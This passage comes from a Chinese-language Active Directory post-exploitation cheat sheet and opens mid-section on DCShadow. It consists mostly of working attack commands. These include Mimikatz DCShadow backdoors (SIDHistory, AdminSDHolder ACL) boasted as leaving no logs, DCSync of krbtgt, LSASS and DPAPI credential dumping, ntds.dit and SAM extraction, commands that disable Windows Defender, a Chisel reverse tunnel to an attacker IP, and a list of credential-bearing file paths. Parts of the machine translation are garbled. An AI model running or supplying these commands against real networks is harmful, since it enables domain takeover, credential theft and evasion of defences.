然后,在任何计算机上,使用Mimikatz进行DCShadow攻击。
# 为用户设置SPN
lsadump::dcshadow /object:root355user /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# 设置用户的SID历史记录(有效地授予他们企业管理员权限)
lsadump::dcshadow /object:root355user /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# 为用户设置AdminSDHolder容器上的完全控制权限
## 需要检索当前的ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl
## 然后获取目标用户的SID:
Get-NetUser -UserName student355 | select objectsid
## 最后,添加完全控制原语 (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-1874506631-3219952063-538504511-45109)
最后,从DA会话或以前提供DCShadowPermissions的用户的会话中,运行DCShadow攻击。先前上演的动作将在不保留日志的情况下执行😈
lsadump::dcshadow /push
Post-Exploitation
LSASS保护
有时,LSASS被配置为作为受保护进程(PPL)运行。您可以使用PowerShell进行查询,如下所示。
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
在这种情况下,您不仅可以转储或解析LSASS,还需要使用禁用该保护mimidrv.sys
。我不会在这里讨论如何做。
Dumping secrets with Mimikatz
# 转储登录密码
sekurlsa::logonpasswords
# 从DC转储所有域散列
## 注意:带有/patch的所有内容都很嘈杂,因为它_writes_到LSASS🚩
lsadump::lsa /patch
# 仅转储本地用户
lsadump::sam
# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:dcorp\krbtgt /domain:dollarcorp.moneycorp.local
Windows Credential Vault转储
我在和一起使用时遇到了一些问题
Invoke-Mimikatz.ps1
。如果遇到问题,请尝试使用本机Mimikatz。
# 转储Windows机密,例如计划任务的存储凭据(先提升权限)
vault::list
vault::cred /patch
# 转储Windows机密DPAPI方法(噪音少,没有特定权限,需要)
## 更多信息: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
## 首先,获取特定密钥的主密钥的GUID
dpapi::cred /in:C:\Users\appadmin\AppData\local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
## LSASS的EITHER Grab dpapi键
sekurlsa::dpapi
## 或抓取并缓存特定密钥
dpapi::masterkey /rpc /in:C:\Users\appadmin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3965405831-1015596948-2589850225-1118\a89b97d2-b520-462d-a924-d57df68c543b
## Mimikatz将缓存主密钥(使用dpapi::cache检查)
## Then run the initial dpapi::cred command again to get the juice!
没有Mimikatz的密码hash转储
我们也可以解析系统机密,而无需在目标系统上直接使用Mimikatz。
Dumping LSASS
运行Mimikatz的首选方法是使用目标中LSASS内存的转储副本在本地进行。Dumpert,Procdump或其他(自定义)工具可用于转储LSASS内存。
# 通过进程快照(-r)转储LSASS内存,避免与之直接交互
.\procdump.exe -r -ma lsass.exe lsass.dmp
# 或者任务管理器找到lsass.exe进程右键创建转储文件
在我们的攻击系统上下载内存转储文件后,我们可以运行Mimikatz并切换到“ Minidump”模式以如下方式解析文件。
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
Dumping secrets from the registry
我们可以从注册表中转储机密并“离线”解析文件,以获取系统机密列表。🚩
在目标上,我们运行以下命令:
reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save
然后,在我们的攻击盒子上,我们可以使用Impacket丢弃秘密:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
ntdsutil
ntdsutil win2008开始DC中自带的工具
#交互式
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
# copy 完之后再执行
unmout [GUID]
del [GUID]
# 非交互式
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
QuarkPwDump分析 [下载地址][https://github.com/quarkslab/quarkspwdump]
在线提取(直接在目标主机执行,实战中不选择此方式。)
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit
离线提取 需要两个文件 ntds.dit 和 system.hive , 其中system.hive可通过reg save hklm\system system.hive获取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive >c:\hash.txt
ntdsutil: ifm 模块
WINDOWS SERVER 2008-2016
C:\> ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\audit
ifm: quit
ntdsutil: quit
使用NtdsAudit.exe下载地址解出ntds的hash
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv
NtdsAudit需要ntds.dit
Active Directory数据库,SYSTEM
如果转储密码哈希,则需要注册表配置单元。这些文件由域控制器锁定,因此无法简单地复制和粘贴。从域控制器获取这些文件的推荐方法是使用内置ntdsutil
实用程序。
- 以管理员身份打开命令提示符(
cmd.exe
)。要以管理员身份打开命令提示符,请单击“启动”。在“开始搜索”中,键入命令提示符。在“开始”菜单的顶部,右键单击“命令提示符”,然后单击“以管理员身份运行”。如果出现“用户帐户控制”对话框,请输入相应的凭据(如果已请求)并确认其显示的操作是您所需的操作,然后单击“继续”。
# 在命令提示符下,键入以下命令,然后按ENTER键:
ntdsutil
# 在ntdsutil提示符下,键入以下命令,然后按Enter:
activate instance ntds
# 在ntdsutil提示符下,键入以下命令,然后按Enter:
ifm
# 在ifm提示符下,键入以下命令,然后按Enter:
create full <Drive>:\<Folder>
# <Drive>:\<Folder> 是要创建的文件的文件夹路径。
例如,以下命令将显示统计信息,输出pwdump.txt
包含密码哈希值的文件,并输出users.csv
包含每个用户帐户详细信息的文件。
ntdsaudit ntds.dit -s SYSTEM -p pwdump.txt -u users.csv
Linux 明文密码的获取
mimipenguin
git clone https://github.com/huntergregal/mimipenguin
支持的操作系统
os | service | supported |
---|---|---|
Ubuntu Desktop 12.04 LTS x64 | gnome-keyring-daemon (3.18.3) | Y |
Ubuntu Desktop 16.04 LTS x64 | gnome-keyring-daemon (3.18.3) | Y |
Fedora Workstation 25 (x86_64) | gnome-keyring-daemon (3.20.0) | Y |
Fedora Workstation 27 (x86_64) | gnome-keyring-daemon (3.20.1) | Y |
Kali-rolling x64 | gnome-keyring-daemon (3.28.0.2) | Y |
从卷影副本中转储快照
我们还可以创建SAM
和SYSTEM
文件的“卷影副本” (它们始终锁定在当前系统上),因此我们仍然可以将它们复制到本地系统中。为此需要提升的提示
wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system
关闭Windows Defender
👀🚩
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
或将Defender保持启用状态,然后从其中删除签名。
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Chisel 代理
这是一个有关如何设置Socks代理以在受感染主机上进行凿凿的示例。凿子还可以做更多的事情!
在攻击者机器(Linux或Windows)上:
./chisel server -p 8888 --reverse
目标执行:
.\chisel_windows_386.exe client 10.10.16.7:8888 R:8001:127.0.0.1:9001
现在,我们正在侦听localhost:8001
攻击机,以将流量转发给target:9001
。
然后,打开Socks服务器。估计的正好:
.\chisel_windows_386.exe server -p 9001 --socks5
在攻击机上:
./chisel client localhost:8001 socks
现在,在攻击计算机的端口1080上打开了一个代理。
Juicy files
有很多文件可能包含有趣的信息。WinPEAS类的工具或PowerSploit类的集合可能有助于识别多汁的文件(用于privesc或post-exploitation)。
以下是我遇到过的一些相关文件的列表。根据计算机上安装的程序和/或服务检查文件。
此外,不要忘记使用
sqlcmd
或枚举任何本地数据库Invoke-SqlCmd
。
# 所有用户文件夹
## 如果文件太多,请限制此命令;)
tree /f /a C:\Users
# Web.config
C:\inetpub\www\*\web.config
# Unattend 文件
C:\Windows\Panther\Unattend.xml
# RDP 配置文件
C:\ProgramData\Configs\
# Powershell scripts/config 文件
C:\Program Files\Windows PowerShell\
# PuTTy 配置文件
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty
# FileZilla 证书
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml
# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml
# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml
# TightVNC 密码 (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password